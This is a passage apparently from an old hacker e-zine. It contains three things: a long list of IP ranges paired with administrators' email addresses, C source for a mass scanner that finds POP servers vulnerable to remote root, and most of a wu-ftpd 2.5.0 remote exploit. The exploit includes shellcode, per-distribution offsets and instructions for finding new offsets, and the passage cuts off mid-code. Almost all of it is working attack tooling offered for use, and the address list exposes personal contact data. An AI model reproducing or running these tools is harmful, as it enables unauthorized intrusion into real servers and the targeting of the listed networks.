207.249.77.0 webmastercns@compuserve.com 18 208.15.164.0 tony@atapco-custom.com 18 208.199.187.0 meta4@interramp.com 18 207.18.199.0 help@uunet.uu.net 18 216.107.0.255 engineering@nni.com 18 216.107.5.255 engineering@nni.com 18 216.107.6.255 engineering@nni.com 18 216.107.7.255 engineering@nni.com 18 216.107.13.255 engineering@nni.com 18 216.107.18.255 engineering@nni.com 18 216.107.20.255 engineering@nni.com 18 216.107.23.255 engineering@nni.com 18 207.249.77.255 webmastercns@compuserve.com 18 207.126.125.255 noc@above.net 18 209.140.152.255 jeffd@coriolis.com 18 207.200.154.255 martinb@imag.net 18 208.15.18.0 NOC@sprint.net 18 207.10.95.0 sdm@rte.com 18 207.70.172.0 miker@lcc.net 18 209.70.51.255 hostmaster@clark.net 18 209.56.97.0 sfosseen@aea5.k12.ia.us 18 216.84.222.0 ahaley@texmed.org 18 209.226.229.0 noc@in.bell.ca 18 209.226.230.0 noc@in.bell.ca 18 209.226.231.0 noc@in.bell.ca 18 209.226.229.255 noc@in.bell.ca 18 209.226.230.255 noc@in.bell.ca 18 209.226.231.255 noc@in.bell.ca 18 208.11.81.0 darren@infobahn.icubed.com 18 207.177.122.0 noc@netins.net 18 208.22.251.0 cvmmjm@cc.vtvm1.vt.edu 18 209.87.57.255 franks@tu.bc.ca 18 208.11.81.255 darren@infobahn.icubed.com 18 206.218.143.255 rgernon@mail.doe.state.la.us 18 208.22.251.255 cvmmjm@cc.vtvm1.vt.edu 18 208.238.104.0 jerome@hwwilson.com 18 208.238.105.0 jerome@hwwilson.com 18 208.238.106.0 jerome@hwwilson.com 18 208.238.107.0 jerome@hwwilson.com 18 208.238.104.255 jerome@hwwilson.com 18 208.238.105.255 jerome@hwwilson.com 18 208.238.107.255 jerome@hwwilson.com 18 209.173.205.0 mgc@orbis.net 18 208.140.79.255 hostmaster@hiwaay.net 18 206.215.81.255 cale@cohesive.net 18 209.48.139.0 dns@digex.net 18 209.48.139.255 dns@digex.net 18 207.62.166.255 netadmin@moe.calpoly.edu 18 216.60.246.255 hostmaster@swbell.net 18 209.22.30.0 SUCHOVSA@aurora.afccc.af.mil 18 209.242.205.0 jim@alphachannel.com 18 209.136.218.0 gordon@roadrunner.com 18 209.22.30.255 SUCHOVSA@aurora.afccc.af.mil 18 209.78.60.255 nomailbox@nowhere 18 207.231.96.0 kenkos@usnetway.com 18 207.231.97.0 kenkos@usnetway.com 18 207.231.98.0 kenkos@usnetway.com 18 207.231.99.0 kenkos@usnetway.com 18 207.231.96.255 kenkos@usnetway.com 18 207.231.97.255 kenkos@usnetway.com 18 207.231.98.255 kenkos@usnetway.com 18 207.231.99.255 kenkos@usnetway.com 17 24.238.2.0 bobby@ols.net 17 63.65.8.0 twright@cathedral.org 17 63.67.135.0 robb@microedge.com 17 63.67.135.255 robb@microedge.com 17 63.68.114.0 jkrainak@c3design.com 17 131.64.244.0 SSNYDER@cols.disa.mil 17 131.64.247.255 SSNYDER@cols.disa.mil 17 152.43.31.0 17 152.43.31.255 17 152.9.54.0 westg@mars.nccu.edu 17 152.9.54.255 westg@mars.nccu.edu 17 161.223.69.0 17 161.223.69.255 17 161.223.77.0 17 192.176.123.255 BER@sunic.sunet.se 17 192.246.229.0 hostinfo@psi.com 17 192.246.229.255 hostinfo@psi.com 17 192.58.24.0 holly.wales@msfc.nasa.gov 17 192.58.24.255 holly.wales@msfc.nasa.gov 17 192.58.25.0 holly.wales@msfc.nasa.gov 17 192.58.25.255 holly.wales@msfc.nasa.gov 17 192.72.46.0 kaoci@tpts1.seed.net.tw 17 192.93.178.255 Annie.Renard@inria.fr 17 193.106.12.255 yp@jouve.fr 17 193.113.60.0 kevin.bates@bt.com, adrian.pauling@bt.com, kevin.bates@bt.com, adrian.pauling@bt.com, steve.a.marshall@bt.com 17 193.119.172.255 17 193.12.151.255 17 193.140.198.0 ozturanm@boun.edu.tr, baysalc@boun.edu.tr 17 193.254.6.0 anders.rosendal@umea.se 17 193.254.6.255 anders.rosendal@umea.se 17 193.39.17.255 NONE, NONE 17 193.5.67.0 admin@rolotec.ch, apm@rolotec.ch 17 193.73.186.0 peters@sig.ch, pete@concentra.co.uk, admin@pks.be, pete@concentra.co.uk 17 194.107.62.0 17 194.122.105.0 holger.kipp@pmc.de 17 194.122.217.0 bandle@mmc.de 17 194.143.185.255 dinesh@nettec.co.uk, craig@manda.co.uk 17 194.143.230.0 kjanos@elender.hu 17 194.168.222.0 nmc@ntli.net, nmc@ntli.net 17 194.168.222.255 nmc@ntli.net, nmc@ntli.net 17 194.19.64.0 17 194.19.64.255 17 194.199.121.0 maxcasty@tin.it 17 194.199.121.255 maxcasty@tin.it 17 194.207.0.0 hostmaster@vbc.net 17 194.254.147.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.147.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.148.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.148.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.149.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.149.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.64.180.0 j.unger@choin.net 17 194.64.229.0 wedel@pharma.de 17 194.72.192.0 djn@enterprise.net 17 194.72.192.255 djn@enterprise.net 17 194.8.203.0 mag@dumont.de 17 195.122.23.0 guntars_lorencis@farmdep.gov.lv, Aleks.Maslobojev@apollo.lv 17 195.122.23.255 guntars_lorencis@farmdep.gov.lv, Aleks.Maslobojev@apollo.lv 17 195.146.91.0 smp@adonis.iasnet.com, plat@kiae.su, bon@ripn.net, incoming@monga.ripn.net, lsy@kiae.su 17 195.152.110.0 doug@uk.psi.com 17 195.152.110.255 doug@uk.psi.com 17 195.17.80.0 mti@softnet.se 17 195.249.225.0 17 195.27.52.255 barkau@os-net.de 17 195.29.255.0 Mirta.Matic@tel.hr, Anela.Lovric@tel.hr, krunoslav.kedmenec@tel.hr, Petar.Andrijasevic@tel.hr 17 195.29.255.255 Mirta.Matic@tel.hr, Anela.Lovric@tel.hr, krunoslav.kedmenec@tel.hr, Petar.Andrijasevic@tel.hr 17 195.34.168.0 wolf@ipm.net 17 195.41.205.0 17 195.65.87.255 jb@rolotec.ch, admin@rolotec.ch 17 198.142.96.0 matt@mpx.com.au 17 198.142.96.255 matt@mpx.com.au 17 198.214.160.0 D.Nash@utexas.edu 17 198.214.160.255 D.Nash@utexas.edu 17 198.214.61.0 jayr@tenet.edu 17 198.214.61.255 jayr@tenet.edu 17 198.4.175.0 help@uunet.uu.net 17 198.6.114.0 net-admin@intac.com 17 198.6.114.255 net-admin@intac.com 17 198.64.7.0 hostmaster@sesqui.net 17 198.64.7.255 hostmaster@sesqui.net 17 199.111.95.0 jaj@virginia.edu 17 199.111.95.255 jaj@virginia.edu 17 199.117.52.0 aesmoot@aescon.com 17 199.117.52.255 aesmoot@aescon.com 17 199.120.113.0 noc@netins.net 17 199.120.113.255 noc@netins.net 17 199.120.114.0 noc@netins.net 17 199.120.114.255 noc@netins.net 17 199.221.104.0 krish@ans.net 17 199.249.18.255 Jim.Avera@mci.com 17 199.250.226.0 dnstech@eni.net 17 199.29.174.0 hostinfo@psi.com 17 199.29.174.255 hostinfo@psi.com 17 199.72.10.0 hostmaster@interpath.net 17 199.72.10.255 hostmaster@interpath.net 17 200.15.12.255 hostmaster@sesqui.net 17 200.28.35.0 wmaldona@ctcreuna.cl 17 200.28.35.255 wmaldona@ctcreuna.cl 17 200.28.95.0 wmaldona@ctcreuna.cl 17 200.32.73.0 tlynch@impsat.com 17 200.32.73.255 vgadda@impsat.com 17 200.39.95.255 emoreno@nextgeninteinter.net 17 202.135.82.0 17 202.160.12.0 rao@technet.sg 17 202.211.34.0 technical@apnic.net 17 202.219.0.255 technical@apnic.net 17 202.248.2.255 hostmaster@nic.ad.jp 17 202.69.0.0 abraham@hk.net, williamw@hk.net 17 202.69.0.255 abraham@hk.net, williamw@hk.net 17 202.69.1.0 abraham@hk.net, williamw@hk.net 17 202.69.1.255 abraham@hk.net, williamw@hk.net 17 202.99.5.255 17 203.127.207.0 17 203.127.207.255 17 203.139.164.255 hostmaster@nic.ad.jp 17 203.141.1.0 hostmaster@nic.ad.jp 17 203.141.1.255 hostmaster@nic.ad.jp 17 203.240.193.0 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com 17 204.131.142.0 emontero@gmgw.com 17 204.152.71.0 Bill_Hutchison@cesoft.com 17 204.153.162.0 dkirk@corpcomm.net 17 204.153.162.255 dkirk@corpcomm.net 17 204.161.32.255 jawright@fresno.edu 17 204.161.33.255 jawright@fresno.edu 17 204.241.124.0 hostinfo@psi.com 17 204.241.124.255 hostinfo@psi.com 17 204.246.130.0 support@vii.com 17 204.246.130.255 support@vii.com 17 204.246.132.255 support@vii.com 17 204.34.24.0 17 204.34.24.255 17 204.48.150.255 tuma@ceo.sbceo.k12.ca.us 17 204.48.151.0 tuma@ceo.sbceo.k12.ca.us 17 204.48.151.255 tuma@ceo.sbceo.k12.ca.us 17 204.48.152.0 tuma@ceo.sbceo.k12.ca.us 17 204.50.83.0 noc@sprint-canada.net 17 204.57.86.0 Miller@sidlinger.com 17 204.57.86.255 Miller@sidlinger.com 17 205.138.176.0 brian@dstream.net 17 205.138.176.255 brian@dstream.net 17 205.139.65.0 jsohn@saber.net 17 205.139.65.255 jsohn@saber.net 17 205.153.28.0 MWilliams@charter.com 17 205.163.15.0 bblue@cts.com 17 205.163.38.0 sbeverly@wavegate.com 17 205.187.159.0 Louis_Lee@icgcomm.com 17 205.213.151.0 nic@mail.wiscnet.net 17 205.213.168.0 jmcmaho2@sevastopol.k12.wi.us 17 205.229.125.0 twright@cathedral.org 17 205.229.126.0 twright@cathedral.org 17 205.241.209.0 Niels@opup.org 17 205.241.209.255 Niels@opup.org 17 205.253.22.0 karl@mcs.com 17 205.253.22.255 karl@mcs.com 17 206.109.202.0 william@neosoft.com 17 206.109.202.255 william@neosoft.com 17 206.13.40.255 jonathan@sonic.net 17 206.137.31.255 mconelly@napc.com 17 206.148.35.0 dan@nyrealty.com 17 206.148.35.255 dan@nyrealty.com 17 206.149.62.255 reginfo@nkn.net 17 206.152.160.0 tim@lanline.com 17 206.152.161.255 tom@lanline.com 17 206.166.244.0 mwilliam@ptc.dcs.edu 17 206.175.129.255 hostmaster@wcom.net 17 206.211.73.255 renae.h.key@gte.sprint.com 17 206.211.73.0 renae.h.key@gte.sprint.com 17 212.182.3.255 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl 17 212.182.2.0 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl 17 206.222.161.255 uurtamo@insync.net 17 212.182.2.255 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl 17 212.182.3.0 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl 17 209.208.185.0 hostmaster@pfmc.net 17 206.72.199.0 maz@albany.net 17 208.145.204.0 admin@lisco.com 17 207.50.249.0 nomailbox@nowhere 17 208.145.204.255 admin@lisco.com 17 207.1.208.255 lbemerer@lmccinti.com 17 207.50.249.255 nomailbox@nowhere 17 207.171.205.0 jfreire@proxysf.com 17 207.165.77.255 dave.klinkefus@icn.state.ia.us 17 207.171.205.255 jfreire@proxysf.com 17 209.39.0.0 netadmin@onramp.net 17 206.99.45.0 egra@adinet.com.uy 17 206.99.50.0 egra@adinet.com.uy 17 216.214.144.0 noc@megsinet.net 17 206.99.45.255 egra@adinet.com.uy 17 206.99.50.255 egra@adinet.com.uy 17 208.151.220.255 ipswip@cw.net 17 207.233.25.0 nes@4c.net 17 212.182.63.0 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl @HWA 33.0 pop.c QPOP vulnerability scanner by duro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /* POPScan QPOP/UCB/SCO scanner by duro duro@dorx.net takes list of ip's from stdin The hosts gathered by this scanner are almost 100% vulnerable to a remote root attack. The exploits used to root the vulnerable machines can all be found by searching bugtraq. UCB pop is 100% of the time vulnerable to the qpop exploit (it's a very old version of qpop). The QPOP version is filitered to make sure that non-vulnerable versions do not show up in the scan. Common offsets for the bsd qpop exploit are: 621, 1500, 500, 300, 900, 0 Example usage: ./z0ne -o ac.uk | ./pops > ac.uk.log & would scan ac.uk for vulnerabilities. much help from jsbach */ #include #include #include #include #include int ADMtelnet (u_long, int port); char domain[50]; int NUMCHILDREN = 150, currchilds = 0; /* change numchildren to taste */ char ip[16]; int temp1 = 0; void scan(char *ip); void alrm(void) { return; } main() { while( (fgets(ip, sizeof(ip), stdin)) != NULL) switch(fork()) { case 0: { scan(ip); exit(0); } case -1: { printf("cannot fork so many timez@!@^&\n"); exit(0); break; } default: { currchilds++; if (currchilds > NUMCHILDREN) wait(NULL); break; } } } void scan(char *ip) { char printip[16]; struct sockaddr_in addr; int sockfd; char buf[512]; bzero((struct sockaddr_in *)&addr, sizeof(addr)); sockfd = socket(AF_INET, SOCK_STREAM, 0); addr.sin_addr.s_addr = inet_addr(ip); addr.sin_port = htons(110); addr.sin_family = AF_INET; signal(SIGALRM, alrm); alarm(5); if ( (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) != -1)) { recv(sockfd, (char *)buf, sizeof(buf), 0); if ( (strstr(buf, "QPOP") ) != NULL && (strstr(buf, "2.5")) == NULL && (strstr(buf, "krb")) == NULL) { checkos(ip,1); } if((strstr(buf, "UCB")) != NULL) checkos(ip,2); if((strstr(buf, "SCO")) != NULL) { strcpy(printip, ip); if ((temp1=strrchr(printip, '\n')) != NULL) bzero(temp1, 1); printf("%s: SCO Unix box running SCO pop.\n",printip); } } return; } // } checkos(char *ip, int spl) { int temp2; char printip[16]; unsigned long temp; temp = inet_addr(ip); temp2 = ADMtelnet(temp, 23); strcpy(printip, ip); if ((temp1=strrchr(printip, '\n')) != NULL) bzero(temp1, 1); if ((temp2 == 1)&&(spl==1)) printf("%s: OpenBSD box running vuln QPOP\n",printip); if ((temp2 == 1)&&(spl==2)) printf("%s: OpenBSD box running vuln UCB pop\n",printip); if ((temp2 == 2)&&(spl==1)) printf("%s: FreeBSD box running vuln QPOP\n",printip); if ((temp2 == 2)&&(spl==2)) printf("%s: FreeBSD box running vuln UCB pop\n",printip); if ((temp2 == 3)&&(spl==1)) printf("%s: BSDi box running vuln QPOP\n",printip); if ((temp2 == 3)&&(spl==2)) printf("%s: BSDi box running vuln UCB pop\n",printip); } int ADMtelnet (u_long ip, int port) { struct sockaddr_in sin; u_char buf[4000]; int dasock, len; int longueur = sizeof (struct sockaddr_in); dasock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); /* gimme a socket */ sin.sin_family = AF_INET; sin.sin_port = htons (port); sin.sin_addr.s_addr = ip; if (connect (dasock, (struct sockaddr *) &sin, longueur) == -1) return (-1); while (1) { memset (buf, 0, sizeof (buf)); if ((len = read (dasock, buf, 1)) <= 0) break; if (*buf == (unsigned int) 255) { read (dasock, (buf + 1), 2); if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2)); else if ((u_char) * (buf + 1) == (unsigned int) 253) { *(buf + 1) = 252; write (dasock, buf, 3); } } else { if (*buf != 0) { bzero (buf, sizeof (buf)); read (dasock, buf, sizeof (buf)); usleep(40000); if((strstr(buf, "OpenBSD") != NULL)) return 1; if((strstr(buf, "FreeBSD") != NULL)) return 2; if((strstr(buf, "BSDI") != NULL)) return 3; sleep (1); } } } return 0; } @HWA 34.0 'Integrated FTP attack facility' by typo/teso ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za/ /* ifaf ? integrated ftp attack facility ifafoffuffoffaf sounds much better Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO. _----------------------------------------------------------------------------_ Ok, so edi found a way to bruteforce.. we made bruteforcing test code, but wuftpd is too boring to finetune it.. enjoy this sploit in the meanwhile. Send me offsets (see below) to typo@scene.at. -____________________________________________________________________________- Contributors: Bulba of LaM3rZ (thanks for the shellcode and the example w.sh) edi (found a way to only have to find 2(!) offsets, he is hardcore!) lcamtuf (dziekuje tobie za ostatunia noc) Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets) scut (minor include and style fixes) smiler (asm bugfixing), stealth (hellkit rox) Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* LaM3rZ shellcode */ unsigned char lamerz[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd" "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb" "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e" "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09" "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88" "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89" "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31" "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e" "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67"; /* teso code: write(1,"teso\n",5); exit(0); */ unsigned char testcode[] = "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0" "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01" "\xcd\x80\xe8\xdf\xff\xff\xfftesox"; /* teso code: ioctl(, 0x5309, 0); */ unsigned char cdcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04" "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08" "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9" "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff" "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35"; /* uh.. script kiddies suck. */ char *shellcode = cdcode; typedef struct dir *dirptr; struct dir { char *name; dirptr next; } dirproto; void title (void); void usage (const char *me); void connect_to_ftp (void); void log_into_ftp (void); void parseargs (int argc, char **argv); void cleanup_and_exit (void); int x2port (const char *smtn); void err (int syserr, const char *msg, ...); int cwd (const char *path); int mkd (char *name); int rmd (char *name); int is_writable (void); void getpwd (void); int recurse_writable (void); void *xmalloc (size_t size); void *xcalloc (int factor, size_t len); char *xstrdup (const char *s); ssize_t xread (int fd, void *buf, size_t count); ssize_t xwrite (int fd, const void *buf, size_t count); int xbind (int sockfd, struct sockaddr *my_addr, int addrlen); int xsocket (int domain, int type, int protocol); int xsetsockopt (int s, int level, int optname, const void *optval, unsigned int optlen); int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen); void sighandler (int signal); struct hostent *xgethostbyname (const char *name); struct hostent *xgethostbyaddr (const char *addr, int len, int type); void putserv (const char *fmt, ...); char *getline (void); char *getmsg (const char *msg); int wuftpd_250_sploitit (void); dirptr newdir (char *name); char *getdir (char *stat); char *int2char (int addr); int check_test_return(); /*---------------------------------------------------------------- *** How to get offsets *** ------------------------------------------------------------------ Edis elite way of getting offsets: objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" | grep "\$0x80" | awk '{print $8}' ------------------------------------------------------------------ My lame way of getting offsets: (as many people have asked: search for ltrace at http://freshmeat.net/) tty1: nc 0 21 USER someuser PASS hispass tty2: ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp" tty1: CWD /not/current/dir MOO QUIT tty2: first argument of first SYS_chdir is mapped_path offset. first argument of longjmp is errcatch offset ------------------------------------------------------------------ try 4096 and/or 1024 for maxpathlen (works 99% of the time). ------------------------------------------------------------------*/ struct sploitdata { char *banner; char *desc; char pad_eax; unsigned int maxpathlen; unsigned int mapped_path; unsigned int errcatch; int (*code)(); int need_writable; }; #define START_MAPPED 0x08060000 struct sploitdata spdata[] = { { "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)", "rh6 - wu-ftpd-2.5.0-2.i386.rpm", 0, 4096, 0x0806a1e0, 0x08077fc0, wuftpd_250_sploitit, 1, }, { "Fri May 21 10:45:57 EDT 1999", "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm", 0, 1024, 0x08066890, 0x0806fcc0, wuftpd_250_sploitit, 1, }, { "Tue Jun 8 11:19:44 EDT 1999", "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm", 0, 1024, 0x08067504, 0x08077fc0, wuftpd_250_sploitit, 1, }, { "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)", "debian 2.1 - standard source compilation", 0, 1024, 0x806928c, 0x8071a80, wuftpd_250_sploitit, 1, }, { "FTP server (Version wu-2.5.0(1)", "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation", 0, 4096, 0x8068f80, 0x8076d60, wuftpd_250_sploitit, 1, }, { NULL, NULL, 0, 0, 0, 0, NULL, 0, } }; struct sploitdata *sptr = spdata; int debug = 0, disp = 1, fd = 0, nostat = 1, offset_selected = 0; struct tesopt { char *user; char *host; char *pass; char *cwd; char *rev; char *dirname; int dirlen; char testonly; char dirscanonly; unsigned short int sport; unsigned short int port; struct hostent *he; } tesopt; struct hostinf { char *header; char *pwd; char *writable_dir; int pwdlen; } hostinf; #define COLOR #ifdef COLOR #define C_NORM "\E[0m" #define C_BOLD "\E[1m" #define C_GREEN "\E[32m" #define C_RED "\E[31m" #define C_BROWN "\E[33m" #define C_BLUE "\E[34m" #define C_PINK "\E[35m" #define C_CYAN "\E[36m" #define C_YELL "\E[33m" #else #define C_NORM "" #define C_BOLD "" #define C_GREEN "" #define C_RED "" #define C_BROWN "" #define C_BLUE "" #define C_PINK "" #define C_CYAN "" #define C_YELL "" #endif /* title * * print title * * no return value */ void title (void) { printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---" C_NORM"\n"); return; } /* newdir * * return a pointer to a new dir with name name * * pointer to dir structure */ dirptr newdir (char *name) { dirptr tmp; tmp = (dirptr) xmalloc (sizeof (dirproto)); tmp->name = xstrdup (name); tmp->next = NULL; return (tmp); } /* usage * * print usage * * no return value */ void usage (const char *me) { struct sploitdata *cow; int i = 0; /* printf ("usage: %s\n\n", me); */ printf ("-h - this help\n" "-s - specify server\n" "-p - destination port\n" "-f - source port\n" "-v(v) - increase verboseness, use twice for full verboseness\n" "-u - user name to use for login\n" "-P - password to use for login\n" "-c - directory to cwd to after login\n" "-d - directory to test writeability with\n" "-r - revlookup this host sees you with\n" "-D - specifies the directory length\n" "-T - use test shellcode (prints success, spawns no shell)\n" "-t :\n"); for (cow = spdata ; cow->desc ; ++cow) { printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM, C_BOLD, C_NORM, cow->banner, cow->desc); } printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM); exit (EXIT_FAILURE); } /* sighandler * * handle signals * * no return value */ void sighandler (const int signal) { printf ("received signal: %d... exiting!\n", signal); cleanup_and_exit (); } /* err * * print an error message. if arg0 is set add an errno message (perror like) * exit afterwards * * no return value */ void err (const int syserr, const char *msg, ...) { va_list ap; printf ("%serr:%s ", C_RED, C_NORM); va_start (ap, msg); vprintf (msg, ap); va_end (ap); if (syserr) { printf (": %s\n", sys_errlist[errno]); } else { printf ("\n"); } cleanup_and_exit(); return; } /* parseargs * * parse arguments * * no return value (exit on failure) */ void parseargs (int argc, char **argv) { char c; opterr = 0; tesopt.user = "anonymous"; tesopt.pass = "m@y.kr"; tesopt.dirname = "tesotest"; tesopt.port = 21; tesopt.sport = 666; tesopt.cwd = ""; tesopt.dirlen = 255; tesopt.testonly = 0; tesopt.dirscanonly = 0; while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) { switch (c) { case 'v': ++debug; break; case 'h': usage (argv[0]); break; case 's': tesopt.host = optarg; break; case 'p': if (optarg != NULL) tesopt.port = x2port (optarg); break; case 'f': if (optarg != NULL) tesopt.sport = x2port (optarg); break; case 'u': if (optarg != NULL) tesopt.user = optarg; break; case 'P': if (optarg != NULL) tesopt.pass = optarg; break; case 'c': if (optarg != NULL) tesopt.cwd = optarg; break; case 'd': if (optarg != NULL) tesopt.dirname = optarg; break; case 'r': if (optarg != NULL) tesopt.rev = xstrdup (optarg); break; case 'D': tesopt.dirlen = atoi(optarg); break; case 't': sptr += atoi(optarg); offset_selected = 1; if (!sptr->desc) { err (0, "invalid offset set"); } break; case 'T': shellcode = testcode; tesopt.testonly = 1; break; case 'o': tesopt.dirscanonly = 1; break; } } if (tesopt.host == NULL) err (0, "server not specified (see -h)"); if (tesopt.port == 0) err (0, "port not or incorrectly specified (see -h)"); if (tesopt.sport == 0) err (0, "sport not or incorrectly specified (see -h)"); if (tesopt.dirlen == 0) err (0, "illegal dirlen!\n"); tesopt.he = xgethostbyname (tesopt.host); return; } struct hostent * xgethostbyname (const char *name) { struct hostent *tmp; tmp = gethostbyname (name); if (tmp == NULL) err (1, "cannot gethostbyname"); return (tmp); } struct hostent * xgethostbyaddr (const char *addr, int len, int type) { struct hostent *tmp; tmp = gethostbyaddr (addr, len, type); if (tmp == NULL) err(1,"cannot gethostbyaddr"); return (tmp); } /* xmalloc * * wrap malloc with error handling * * return or abort */ void * xmalloc (size_t size) { void *tmp = malloc (size); if (tmp == NULL) err (1, "malloc failed"); return (tmp); } /* xcalloc * * wrap calloc with error handling * * return or abort */ void * xcalloc (int factor, size_t len) { void *new = calloc (factor, len); if (new == NULL) err (1, "calloc failed"); return (new); } /* xstrdup * * wrap strdup with error handling * * return or abort */ char * xstrdup (const char *s) { char *tmp; tmp = strdup (s); if (tmp == NULL) err (1, "strdup failed"); return (tmp); } /* xread * * read with error handling * * return length of readen data */ ssize_t xread (int fd, void *buf, size_t count) { int tmp; tmp = read (fd, buf, count); if (tmp < 1) err (1, "read failed"); return (tmp); } /* xwrite * * write with error handling * * return length of written data */ ssize_t xwrite (int fd, const void *buf, size_t count) { int tmp; tmp = write (fd, buf, count); if (tmp < 0) err (1, "write failed"); return (tmp); } /* xbind * * bind with error handling * * return bound socket */ int xbind (int sockfd, struct sockaddr *my_addr, int addrlen) { int tmp; tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen); if (tmp < 0) err (1, "bind failed"); return (tmp); } /* xsocket * * socket with error handling * * return allocated socket descriptor */ int xsocket (int domain, int type, int protocol) { int tmp; tmp = socket (domain, type, protocol); if (tmp < 0) err (1, "socket failed"); return (tmp); } /* xsetsockopt * * setsockopt with error handling */ int xsetsockopt (int s, int level, int optname, const void *optval, unsigned int optlen) { int tmp; tmp = setsockopt (s, level, optname, optval, optlen); if (tmp < 0) err (1, "setsockopt failed"); return (tmp); } /* xconnect * * connect with error handling */ int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen) { int tmp; tmp = connect (sockfd, serv_addr, addrlen); if (tmp < 0) err (1, "connect failed"); return (tmp); } /* connect_to_ftp * * connect to ftpserver and resolve local ip * * return nothing */ void connect_to_ftp (void) { int i = 1; struct sockaddr_in sin; struct hostent *he; fd = xsocket (AF_INET, SOCK_STREAM, 0); xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i)); bzero (&sin, sizeof (sin)); sin.sin_family = AF_INET; // sin.sin_port = htons (tesopt.sport); sin.sin_addr.s_addr = 0; xbind (fd, (struct sockaddr*) &sin, sizeof (sin)); sin.sin_port = htons (tesopt.port); sin.sin_family = AF_INET; memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr)); xconnect (fd, (struct sockaddr*) &sin, sizeof (sin)); /* this is a good time to get our revlookup (if not user defined) */ if (tesopt.rev == NULL) { i = sizeof (sin); getsockname (fd, (struct sockaddr *) &sin, &i); he = gethostbyaddr ((char *) &sin.sin_addr, sizeof (sin.sin_addr), AF_INET); tesopt.rev = xstrdup (he->h_name); } printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev); return; } /* putserv * * send data to the server */ void putserv (const char *fmt, ...) { va_list ap; unsigned char output[1024]; int i, total; memset (output, '\0', sizeof (output)); va_start (ap, fmt); vsnprintf (output, sizeof (output) - 1, fmt, ap); va_end (ap); /* this is edis code */ total = strlen (output); for (i = 0; i < total; i++) { if (output[i] == 0xff) { memmove (output + i + 1, output + i, total - i); total++; i++; } } if (disp != 0 && (debug > 1)) printf ("%s%s%s", C_BLUE, output, C_NORM); xwrite (fd, output, total); return; } #define LINEBUFLEN 8192 char linebuf[LINEBUFLEN]; /* saves us free()ing 